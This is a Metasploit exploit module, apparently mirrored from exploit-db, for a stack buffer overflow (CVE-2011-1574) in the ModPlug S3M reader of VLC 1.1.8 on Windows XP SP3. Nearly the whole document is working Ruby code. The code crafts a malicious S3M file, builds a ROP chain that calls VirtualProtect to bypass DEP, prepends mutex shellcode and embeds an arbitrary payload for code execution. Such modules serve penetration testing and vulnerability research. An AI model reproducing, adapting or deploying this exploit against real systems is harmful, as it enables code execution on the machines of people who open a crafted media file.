VideoLAN VLC Media Player 1.1.8 – ModPlug ReadS3M Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17252/
  • ##
    # $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
    			'Description'=> %q{
    					This module exploits an input validation error in libmod_plugin as
    				included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
    				are affected. By creating a malicious S3M file, a remote attacker
    				could execute arbitrary code.
    
    				Although other products that bundle libmodplug may be vulnerable, this
    				module was only tested against VLC.
    
    				NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
    				permanently enable NX support on machines that support it. As such,
    				this module is capable of bypassing DEP, but not ASLR.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'jduck' ],
    			'Version'=> '$Revision: 12282 $',
    			'References' =>
    				[
    					[ 'CVE', '2011-1574' ],
    					[ 'OSVDB', '72143' ],
    					#[ 'BID', 'xxx' ],
    					[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
    					[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
    					[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
    					[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
    				],
    			'Payload'=>
    				{
    					'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code
    					#'DisableNops'	=> true,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'VLC 1.1.8 on Windows XP SP3',
    						{
    							# vuln is in libmod_plugin.dll, rop is custom to this module
    						}
    					],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.','msf.s3m']),
    			], self.class)
    	end
    
    	def exploit
    
    		num_orders = 0x14
    		num_instru = 0x15
    		num_patterns = 0x18
    
    		hdr = "\x00" * 0x1c # song name (none)
    		hdr << [
    			0x1a, # static byte
    			0x10, # ST3 module
    			0x00, # padding
    			num_orders,
    			num_instru,
    			num_patterns,
    			0x00, # Flags
    			0x1320, # Created with (which tracker)
    			0x02, # File format information
    		].pack('CCvvvvvvv')
    		hdr << "SCRM"
    
    		hdr << [
    			0x40, # global volume
    			0x06, # initial speed
    			0x8a, # initial tempo
    			0xb0, # master volume
    			0x10, # ultra click removal
    			0xfb# NOTE, non-0xfc value skips an additional loop!
    			# 0xfc == default channel pan positions present
    		].pack('CCCCCC')
    		hdr << "\x00" * 10# includes pad and special pointer
    
    		# channel settings (for 32 channels)
    		hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
    		hdr << "\xff" * 16
    
    		# orders
    		hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
    		hdr << "\x14\x16\x17\xff"
    
    		# parapointers to instruments
    		hdr << [ 0x0f ].pack('v') * num_instru
    
    		# parapoitners to patterns
    		hdr << [ 0x78 ].pack('v') * num_patterns
    
    		# channel default pan positions
    		hdr << "\x00" * 32
    
    		# instruments
    		instru = "\x01metasplo.ity"
    		rest = "\x00" * ((0x50 * num_instru) - instru.length)
    
    		# Build the rop stack
    		rvas = rvas_libmod_plugin_xpsp3()
    		rop = generate_rop(rvas)
    		zero_ptr = rva2addr(rvas, 'Scratch') + 4
    		mutex_addr = rva2addr(rvas, 'Scratch') + 8
    		imp_Sleep = rva2addr(rvas, 'imp_Sleep')
    
    		# A mutex to prevent double payloads
    		locking_code = <<-EOS
    	mov ebx, [ #{imp_Sleep} ]
    	jmp test_lock
    
    sleep:
    	push 0xdeadbeef
    	call ebx
    
    test_lock:
    	mov eax, [ #{mutex_addr} ]
    	test eax,eax
    	jnz sleep
    
    	lock cmpxchg [ #{mutex_addr} ], ebp
    	test eax,eax
    	jnz sleep
    
    EOS
    		rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
    		rop << payload.encoded
    
    		# This becomes the new EIP (after return)
    		ret = rva2addr(rvas, 'pop eax / ret')
    		rest[1267, 4] = [ ret ].pack('V')
    
    		# In order to force return, we smash the this ptr on the stack and point
    		# it so that m_nChannels turns out to be 0.
    		rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')
    
    		# Add the ROP stack and final payload here
    		rest[1275, rop.length] = rop
    		instru << rest
    
    		# patterns
    		patt = [ 0x10 ].pack('v')
    		patt << "\x00" * 0x10
    
    
    		# finalize the file
    		s3m = ""
    		s3m << hdr
    
    		instru_pad = (0x0f * 0x10) - hdr.length
    		s3m << "\x80" * instru_pad
    		s3m << instru
    
    
    		# patch in exploit trigger values
    		s3m[0x22, 2] = [ 0x220 ].pack('v')
    		s3m[0x24, 2] = [ 0x220 ].pack('v')
    
    
    		print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    		file_create(s3m)
    
    	end
    
    	def rvas_libmod_plugin_xpsp3()
    		# libmod_plugin.dll from VLC 1.1.8 (Win32)
    		# Just return this hash
    		{
    			# Used as 'Ret' for target
    			'ret'=> 0x1022,
    			'push eax / ret' => 0x1cc4d,
    			'pop eax / ret'=> 0x598a2,
    			'mov eax, [eax+0x1c] / ret' => 0x542c9,
    			'pop ebx / pop ebp / ret' => 0x25e2f,
    			'add eax, 4 / pop ebp / ret' => 0x7028,
    			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
    			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
    		}
    	end
    
    	def generate_rop(rvas)
    		# ROP fun! (XP SP3 English, Apr 10 2011)
    		rvas.merge!({
    			# Instructions / Name=> RVA
    			'BaseAddress'=> 0x653c0000,
    			'imp_VirtualProtect' => 0xec2f0 - 0x1c,# adjust for gadget used to resolve
    			'imp_Sleep'=> 0xec2dc,
    			'Scratch'=> 0x5fbfc,
    			'Data' => 0x60101,
    			#'DataAdjusted' => 0x60000 - 0x58 + 0x8,
    			'DataAdjusted' => 0x60000 - 0x58,
    		})
    
    		copy_stage = <<-EOS
    	nop
    	push esp
    	pop esi
    	lea edi, [eax+0x10]
    	push 0x7f
    	pop ecx
    	inc ecx
    	rep movsd
    EOS
    		copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
    		if (copy_stage.length % 4) > 0
    			raise RuntimeError, "The copy stage is invalid"
    		end
    
    		rop_stack = [
    			# Resolve VirtualProtect
    			'pop eax / ret',
    			'imp_VirtualProtect',
    			'mov eax, [eax+0x1c] / ret',
    
    			# Call VirtuaProtect
    			'push eax / ret',
    			'pop eax / ret', # after VirtualProtect
    			# Args to VirtualProtect
    			'Data',# lpAddress (place holder, filled in @ runtime above)
    			0x1000,# dwSize
    			0x40,# flNewProtect
    			'Scratch', # lpflOldProtect
    
    			# Load the pre-adjusted Data addr
    			'DataAdjusted', # matches pop eax / ret above
    
    			##
    			# Write our code little stager to our newly executable memory.
    			##
    
    			# Load the last 32-bits of code to write
    			'pop ebx / pop ebp / ret',
    			copy_stage[0, 4].unpack('V').first,
    			:unused, # ebp
    
    			# Write & advance
    			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
    			copy_stage[4, 4].unpack('V').first,
    			:unused, # esi
    			:unused, # edi
    			:unused, # ebp
    			'add eax, 4 / pop ebp / ret',
    			:unused, # ebp
    
    			# Write & advance
    			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
    			copy_stage[8, 4].unpack('V').first,
    			:unused, # esi
    			:unused, # edi
    			:unused, # ebp
    			'add eax, 4 / pop ebp / ret',
    			:unused, # ebp
    
    			# Write & advance
    			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
    			0xffffffb0,# adjustment value
    			:unused, # esi
    			:unused, # edi
    			:unused, # ebp
    
    			# Adjust eax
    			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
    			:unused, # ebx
    			:unused, # edi
    			:unused, # ebp
    
    			# Execute the copy stage
    			'push eax / ret',
    		]
    
    		rop_stack.map! { |e|
    			if e.kind_of? String
    				# Meta-replace (RVA)
    				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    				rvas['BaseAddress'] + rvas[e]
    
    			elsif e == :unused
    				# Randomize
    				rand_text(4).unpack('V').first
    
    			else
    				# Literal
    				e
    			end
    		}
    
    		rop_stack.pack('V*')
    	end
    
    	def rva2addr(rvas, key)
    		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
    		rvas['BaseAddress'] + rvas[key]
    	end
    
    end